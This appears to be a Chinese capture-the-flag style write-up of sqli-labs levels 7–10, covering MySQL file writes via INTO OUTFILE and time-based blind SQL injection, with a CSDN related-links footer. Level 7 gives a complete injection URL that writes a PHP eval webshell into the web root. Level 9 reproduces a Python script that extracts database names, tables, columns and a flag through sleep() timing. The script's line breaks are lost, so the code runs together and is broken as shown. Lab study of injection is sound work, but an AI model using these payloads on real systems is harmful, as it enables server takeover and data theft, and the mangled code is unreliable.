sqli-lab--writeup(7~10)文件输出,时间布尔盲注
前置知识点:
1、outfile是将检索到的数据,保存到服务器的文件内:
格式:select * into outfile “文件地址”
示例:
mysql> select * into outfile ‘f:/mysql/test/one’ from teacher_class;
2、文件是自动创建的。
3,读写文件函数调用的限制
因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响。,
其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出
当值被设置为NULL时,禁止导入导出功能
这个值可以通过命令 select @@secure_file_priv 查询。由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。
即:需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。
进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数
如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
注意:
需要有绝对路径
文件名里路径里必须用\代替/
less7:
可知有三个显示位
根据题目提示使用outfile传入木马http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["shell"]);?>' into outfile 'D:\\phpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\shell.php'--+
最后使用蚁剑连接shell
less8
手工注入方式与5节基本相同
less9
知识点: 基于时间型SQL盲注
注入SQL 代码之后, 存在以下两种情况:
如果注入的SQL代码不影响后台[ 数据库] 的正常功能执行, 那么Web 应用的页面显示正确( 原始页面) 。
如果注入的SQL 代码影响后台数据库的正常功能( 产生了SQL 注入) , 但是此时Web 应用的页面依旧显示正常( 原因是Web 应用程序采取了“ 重定向" 或“ 屏蔽 ”措施)。
产生一个疑问: 注入的SQL 代码到底被后台数据库执行了没有? 即web 应用程序是否存在SQL 注入?
面对这种情况, 之前讲的基于布尔的SQL 盲注很难发挥作用了( 因为基于布尔的SQL 盲注的前提是web 程序返回的页面存在true 和false 两种不同的页面) 。
时间盲注: 界面返回值只有一种,true.无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。这时, 一般采用基于web 应用***响应时间上的差异来判断是否存在SQL 注入***, 即基于时间型SQL 盲注。
所以方法和less5相通,只是不以回显而是时间长短来判断语句的执行情况
找了份大佬的脚本:
import requests
import time
import datetimeurl = "http://localhost/sql-labs/Less-9/?id=1'"def get_dbname():dbname = ''for i in range(1,9):for k in range(32,127):payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)#if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒,也可以和1调换位置(那样就是如果语句错误休眠两秒)time1 = datetime.datetime.now()#获得提交payload之前的时间res = requests.get(url + payload)time2 = datetime.datetime.now()#获得payload提交后的时间difference = (time2 - time1).seconds#time,time2时间差,seconds是只查看秒if difference > 1:dbname += chr(k)else:continueprint("数据库名为->"+dbname)
get_dbname()def get_table():table1 = ''table2 = ''table3 = ''table4 = ''for i in range(5):for j in range(6):for k in range(32,127):payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url + payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:table1 += chr(k)print("第一个表为->"+table1)elif i == 1:table2 += chr(k)print("第二个表为->"+table2)elif i == 3:table3 += chr(k)print("第三个表为->"+table3)elif i == 4:table4 += chr(k)print("第四个表为->"+table4)else:break
get_table()def get_column():column1 = ''column2 = ''column3 = ''for i in range(3):for j in range(1,9):for k in range(32,127):payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:column1 += chr(k)print("字段一为->"+column1)if i == 1:column2 += chr(k)print("字段二为->"+column2)if i == 2:column3 += chr(k)print("字段三为->"+column3)else:break
get_column()def get_flag():flag = ''for i in range(30):for k in range(32,127):payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:flag += chr(k)print("flag为->"+flag)
get_flag()
less10
和9相同,单引号改为双引号
sqli-lab--writeup(7~10)文件输出,时间布尔盲注相关推荐
- SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注
第26关是单引号字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...
- SQL注入——布尔盲注,时间盲注,宽字节注入
布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: su ...
- SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
- SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
- sqli中时间型盲注和布尔型盲注实现
布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...
- SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注
第25a关是数值型注入: 后台过滤了关键字(and.or),可以双写绕过: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. SQLi-LABS 其余关卡,可以参考我的专栏:SQLi-LABS ...
- SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用
Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...
- iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)
系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...
- SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!
在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...
最新文章
- html li 右跟下有倒影,HTML5 canvas实现的下雨夜湖面星空倒影动画特效
- aligned_storage简单学习
- [reference]-ARM Term术语汇总
- muduo学习笔记 线程类
- Linux磁盘管理与文件系统(实验详解,一看就懂)
- 手把手教你用Java的swing制作计算器
- Gradle插件学习笔记(二)
- 贺双节,签名版限量特惠
- HP DL360 G7通过iLO部署系统
- python自动发邮件mysql_python自动化六--操作mysql,redis,发送邮件,EXCEL,MD5加密
- UIWebView背景透明的方法
- 【Qt学习之路】我的Qt历程
- 游戏编程和计算机编程一样吗,学数控编程和电脑编程区别是什么?
- QTableView 常用功能总结
- 英特尔超级计算机显卡,美国公布首台百亿亿次超级计算机!用上Intel Xe独立显卡...
- APS供应链计划管理有何功能?其目的和意义又是什么?
- v-for on stateful component root element because it renders multiple elements
- laravel excel 导出
- Java新手学习指南(2020最新推荐版)
- TCHAR数据类型介绍
热门文章
- RuoYi-Cloud 部署篇_04(windows环境 mysql+nginx版本)
- Flowable 数据库表结构 ACT_HI_ATTACHMENT
- linux shell脚本关闭指定端口号的进程
- Springboot2 Quartz实现JAVA定时任务的动态配置
- java 内省学习笔记
- Java-Super
- floquet端口x极化入射波_请问CST 2012 floquet中的模式设置
- 如何用Java代码解析json
- qt不规则按钮样式在自适应分辨率时应该注意的图片缩放模式
- Python bytearray/bytes/string区别